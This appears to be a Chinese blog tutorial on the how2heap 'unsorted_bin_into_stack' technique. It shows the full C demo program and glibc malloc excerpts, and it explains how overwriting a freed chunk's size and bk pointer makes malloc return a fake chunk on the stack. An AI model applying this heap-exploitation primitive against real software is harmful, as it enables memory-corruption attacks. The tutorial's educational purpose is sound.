前言:今天多写几篇。
这个例子比较简单了,构造的不多,让我们开始吧。
0X00 例子
how2heap 的例子 unsorted_bin_into_stack.c:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
intptr_t stack_buffer[4] = {0};
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);
fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
}
0X01 手动调试与原理讲解
首先我们要在栈上构造一个 chunk 这个 chunk 的 size 非常重要:
stack_buffer[1] = 0x100 + 0x10;
假设我们有这样的漏洞:
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
这里的 size = 32,只要是一个合理的范围,比之后要申请的 chunk size 要小就行。然后我们把 victim->bk
的值赋为 stack_buffer
现在调试 malloc(0x100)
发生了什么:
首先从 unsorted bin 中拿出被构造的 chunk:
把这个 chunk,从 unsorted bin 中拿出:
bck = victim->bk;
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
这个是这里的关键!由于我们的 chunk 被构造过,所以 bck 是栈的地址,没有任何检查的把这个伪造的 chunk 插入了 unsorted bin。
显然这个 chunk 的大小是不够的,所以被放入 small bin 中:
现在再从 unsorted bin 拿出一个 chunk:被构造的 chunk
现在有了一些检查:
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
大小合理,轻松绕过
由于这个 size == nb 所以会进入这个:
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
就这样漏洞讲解完毕!
0X02 总结
这个漏洞的关键是能够修改一个 heap 中的 bk,让它指向一个 fake chunk。
然后让这个被构造的 chunk 在选择的时候,不能被选出来,给它的 bck,也就是伪造的 chunk。
完结撒花